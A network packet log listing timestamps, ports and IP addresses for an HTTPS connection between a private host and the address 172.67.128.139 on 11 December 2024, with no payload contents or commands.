Dec 11, 2024 12:29:49.849255085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.849381924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.849391937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.849569082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.850399971 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.850425959 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.850554943 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.850652933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.850652933 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.850662947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.850814104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.852029085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.852051973 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.852169037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.852214098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.852214098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.852222919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.852312088 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.852438927 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.853900909 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.853923082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.854064941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.854110003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.854110003 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.854118109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.854161978 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.854330063 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.855914116 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.855937958 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.856055021 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.856143951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.856152058 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.856190920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.856297016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.856934071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.856956005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.857080936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.857080936 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.857125998 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.857125998 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.857132912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.857175112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.857275963 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.858879089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.858902931 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.859055042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.859055042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.859069109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.859203100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.859203100 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.860723972 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.860743999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.861058950 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.861120939 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.861128092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.861263037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.861361980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.862512112 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.862528086 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.862668037 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.862716913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.862716913 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.862726927 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.862765074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.862878084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864356995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.864372969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.864505053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864505053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864548922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864554882 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.864646912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864646912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.864646912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.865844965 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.865860939 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.866166115 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.866242886 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.866251945 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.866345882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.866592884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.867548943 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.867566109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.867692947 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.867827892 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.867835999 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.868062973 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869386911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.869402885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.869535923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869535923 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869580030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869580030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869587898 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.869628906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.869781017 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.871243000 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.871258974 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.871381044 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.871455908 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.871455908 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.871464014 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.871709108 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.873049021 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.873065948 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.873213053 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.873359919 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.873367071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.873532057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.874526024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.874547005 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.875034094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.875046968 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.875317097 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.876183987 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.876199961 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.876400948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.876400948 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.876414061 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.876449108 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.876543999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.878181934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.878210068 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.878411055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.878556967 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.878565073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.878654957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.878880024 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.880026102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.880040884 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.880225897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.880238056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.880283117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.880530119 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882169962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.882188082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.882352114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882352114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882397890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882397890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882405996 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.882447004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882572889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.882850885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.882869959 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.883101940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.883101940 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.883111954 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.883259058 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.884905100 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.884923935 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.885122061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.885133982 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.885265112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.885265112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.886739969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.886758089 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.886888027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.886888027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.886935949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.886935949 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.886945963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.886986017 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.887193918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:49.887593985 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:49.888072968 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.054323912 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.054341078 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.054510117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.054558992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.054558992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.054558992 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.054565907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.054758072 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.055402994 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.055413008 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.055619955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.055619955 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.055627108 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.055818081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.057228088 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.057239056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.057414055 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.057501078 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.057507038 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.057693005 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.058293104 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.058304071 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.058506966 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.058514118 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.058558941 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.058657885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.060156107 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.060167074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.060369015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.060369015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.060369015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.060378075 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.060465097 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.060610056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.061986923 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.061999083 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.062160969 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.062261105 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.062267065 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.062464952 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.063349962 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.063359976 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.063510895 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.063654900 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.063659906 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.063888073 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.064351082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.064359903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.064585924 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.064593077 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.064630985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.064758062 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.066186905 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.066196918 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.066371918 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.066379070 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.066487074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.066534996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.068084955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.068094015 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.068202972 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.068305016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.068311930 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.068352938 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.068453074 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069278955 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.069288969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.069466114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069466114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069516897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069516897 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069520950 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.069613934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.069735050 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.071007967 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.071017981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.071192980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.071295023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.071300030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.071440935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.072562933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.072572947 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.072741032 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.072741985 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.072750092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.072786093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.072786093 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.072884083 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.074171066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.074182034 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.074354887 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.074362993 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.074402094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.074402094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.074508905 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.075457096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.075467110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.075649977 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.075746059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.075750113 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.075997114 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077027082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.077037096 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.077208042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077208042 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077254057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077254057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077258110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.077301979 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.077497959 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.078183889 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.078193903 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.078382015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.078382015 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.078389883 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.078476906 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.078577995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.080008030 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.080023050 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.080148935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.080148935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.080197096 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.080202103 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.080295086 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.080344915 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.081471920 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.081481934 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.081590891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.081669092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.081674099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.081762075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.081866980 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.083139896 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.083151102 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.083345890 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.083347082 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.083354950 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.083395004 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.083595991 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.084279060 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.084289074 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.084456921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.084456921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.084465981 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.084502935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.084502935 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.084635973 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.086029053 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.086039066 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.086275101 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.086282969 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.086409092 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.087929964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.087939024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.088144064 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.088145018 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.088152885 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.088315010 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.088922024 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.088932991 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.089173079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.089173079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.089180946 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.089342117 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.091078997 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.091089964 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.091254950 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.091357946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.091363907 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.091629982 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.092114925 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.092125893 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.092267990 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.092341900 CET	49756	443	192.168.11.30	172.67.128.139
